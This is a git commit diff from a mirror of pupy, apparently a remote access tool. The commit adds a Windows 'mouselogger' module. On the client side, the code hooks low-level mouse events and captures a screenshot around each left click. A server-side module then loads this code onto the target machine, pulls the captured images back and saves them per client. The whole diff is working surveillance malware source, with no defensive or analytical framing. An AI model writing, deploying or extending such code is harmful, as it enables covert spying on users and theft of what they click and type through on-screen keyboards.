mirror of https://github.com/n1nj4sec/pupy.git
made the server part of @golind mouselogger. For now the 200*100 pixels screenshots are kept in memory between dumps for each mouse click. TODO: add a callback function to send back taken screenshots in real time
This commit is contained in:
parent
27ef620847
commit
2128a42a37
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# All rights reserved.
|
||||
|
||||
from pupylib.PupyModule import *
|
||||
import logging
|
||||
import traceback
|
||||
import time
|
||||
import os
|
||||
import os.path
|
||||
from pupylib.utils.rpyc_utils import obtain
|
||||
|
||||
def pil_save(filename, pixels, width, height):
|
||||
from PIL import Image, ImageFile
|
||||
buffer_len = (width * 3 + 3) & -4
|
||||
img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1)
|
||||
ImageFile.MAXBLOCK = width * height
|
||||
img=img.transpose(Image.FLIP_TOP_BOTTOM)
|
||||
img.save(filename, quality=95, optimize=True, progressive=True)
|
||||
|
||||
__class_name__="MouseLoggerModule"
|
||||
|
||||
class MouseLoggerModule(PupyModule):
|
||||
""" log mouse clicks and take screenshots of areas around it """
|
||||
# WARNING : screenshots are kept in memory before beeing dumped
|
||||
#TODO change that and add a callback to automatically send back screenshots without need for dumping
|
||||
daemon=True
|
||||
unique_instance=True
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
PupyModule.__init__(self, *args, **kwargs)
|
||||
self.mouselogger=None
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='mouselogger', description=self.__doc__)
|
||||
self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
|
||||
|
||||
@windows_only
|
||||
def is_compatible(self):
|
||||
pass
|
||||
|
||||
def stop_daemon(self):
|
||||
self.success("mouselogger stopped")
|
||||
|
||||
def run(self, args):
|
||||
try:
|
||||
os.makedirs(os.path.join("data","mouselogger"))
|
||||
except Exception:
|
||||
pass
|
||||
if args.action=="start":
|
||||
if self.mouselogger:
|
||||
self.error("the mouselogger is already started")
|
||||
else:
|
||||
self.client.load_package("pupwinutils.mouselogger")
|
||||
self.mouselogger=self.client.conn.modules["pupwinutils.mouselogger"].MouseLogger()
|
||||
self.mouselogger.start()
|
||||
else:
|
||||
if not self.mouselogger:
|
||||
self.error("the mouselogger is not running")
|
||||
return
|
||||
if args.action=="dump":
|
||||
self.success("dumping recorded mouse clicks :")
|
||||
screenshots_list=obtain(self.mouselogger.retrieve_screenshots())
|
||||
|
||||
self.success("%s screenshots taken"%len(screenshots_list))
|
||||
print str(screenshots_list)[0:50]
|
||||
for d, height, width, buf in screenshots_list:
|
||||
filepath=os.path.join("data","mouselogger","scr_"+self.client.short_name()+"_"+str(d).replace(" ","_").replace(":","-")+".jpg")
|
||||
pil_save(filepath, buf, width, height)
|
||||
self.info("screenshot saved to %s"%filepath)
|
||||
elif args.action=="stop":
|
||||
self.mouselogger.stop()
|
||||
self.job.stop()
|
||||
|
||||
|
||||
|
|
@ -6,6 +6,7 @@ from ctypes.wintypes import MSG
|
|||
from ctypes.wintypes import DWORD
|
||||
import threading
|
||||
import time
|
||||
import datetime
|
||||
|
||||
from ctypes import (
|
||||
byref, memset, pointer, sizeof, windll,
|
||||
|
@ -59,23 +60,6 @@ kernel32 = windll.kernel32
|
|||
WH_MOUSE_LL=14
|
||||
WM_MOUSEFIRST=0x0200
|
||||
|
||||
keyCodes={
|
||||
0x200 : "", #"[MOUSEMOVE]", ## commented bcuz it spams the living crap out of the output.
|
||||
0x201 : "", #"[LBUTTONDOWN]",
|
||||
0x202 : "", #"[LBUTTONUP]",
|
||||
0x203 : "", #"[LBUTTONDBLCLK]",
|
||||
0x204 : "", #"[RBUTTONDOWN]",
|
||||
0x205 : "", #"[RBUTTONUP]",
|
||||
0x206 : "", #"[RBUTTONDBLCLK]",
|
||||
0x207 : "", #"[MBUTTONDOWN]",
|
||||
0x208 : "", #"[MBUTTONUP]",
|
||||
0x209 : "", #"[MBUTTONDBLCLK]",
|
||||
0x20A : "", #"[MOUSEWHEEL]",
|
||||
0x20B : "", #"[XBUTTONDOWN]",
|
||||
0x20C : "", #"[XBUTTONUP]",
|
||||
0x20D : "", #"[XBUTTONDBLCLK]",
|
||||
0x20E : "", #"[MOUSEHWHEEL]"
|
||||
}
|
||||
|
||||
# Initilisations
|
||||
SM_XVIRTUALSCREEN = 76
|
||||
|
@ -125,10 +109,10 @@ class MouseLogger(threading.Thread):
|
|||
threading.Thread.__init__(self, *args, **kwargs)
|
||||
self.hooked = None
|
||||
self.daemon=True
|
||||
self.keys_buffer=""
|
||||
self.lUser32=user32
|
||||
self.pointer=None
|
||||
self.stopped=False
|
||||
self.screenshots=[]
|
||||
|
||||
def run(self):
|
||||
if self.install_hook():
|
||||
|
@ -138,21 +122,18 @@ class MouseLogger(threading.Thread):
|
|||
msg = MSG()
|
||||
user32.GetMessageA(byref(msg),0,0,0)
|
||||
while not self.stopped:
|
||||
time.sleep(.2)
|
||||
time.sleep(1)
|
||||
self.uninstall_hook()
|
||||
|
||||
def stop(self):
|
||||
self.stopped=True
|
||||
|
||||
def dump(self):
|
||||
res=self.keys_buffer
|
||||
self.keys_buffer=""
|
||||
return res
|
||||
def retrieve_screenshots(self):
|
||||
screenshot_list=self.screenshots
|
||||
self.screenshots=[]
|
||||
return screenshot_list
|
||||
|
||||
def convert_key_code(self, code):
|
||||
##http://www.pinvoke.net/default.aspx/Constants.WM
|
||||
if code in keyCodes:
|
||||
if code == 0x201:
|
||||
def get_screenshot(self):
|
||||
pos = queryMousePosition()
|
||||
|
||||
limit_width = GetSystemMetrics(SM_CXVIRTUALSCREEN)
|
||||
|
@ -189,8 +170,8 @@ class MouseLogger(threading.Thread):
|
|||
if bits != height or len(pixels.raw) != buffer_len:
|
||||
raise ValueError('MSSWindows: GetDIBits() failed.')
|
||||
|
||||
return pixels.raw
|
||||
return keyCodes[code]
|
||||
return pixels.raw, height, width
|
||||
|
||||
|
||||
def install_hook(self):
|
||||
CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
|
||||
|
@ -207,13 +188,16 @@ class MouseLogger(threading.Thread):
|
|||
self.hooked = None
|
||||
|
||||
def hook_proc(self, nCode, wParam, lParam):
|
||||
hooked_key = self.convert_key_code(wParam)
|
||||
self.keys_buffer+=str(hooked_key)
|
||||
##http://www.pinvoke.net/default.aspx/Constants.WM
|
||||
if wParam == 0x201:
|
||||
buf, height, width = self.get_screenshot()
|
||||
self.screenshots.append((datetime.datetime.now(), height, width, buf))
|
||||
return user32.CallNextHookEx(self.hooked, nCode, wParam, lParam)
|
||||
|
||||
if __name__=="__main__":
|
||||
MouseLogger = MouseLogger()
|
||||
MouseLogger.start()
|
||||
ml = MouseLogger()
|
||||
ml.start()
|
||||
while True:
|
||||
time.sleep(5)
|
||||
print MouseLogger.dump()
|
||||
for d, height, width, buf in ml.retrieve_screenshots():
|
||||
print "screenshot of %s/%s taken at %s (%s bytes)"%(height, width, d, len(buf))
|
||||
|
|
Loading…
Reference in New Issue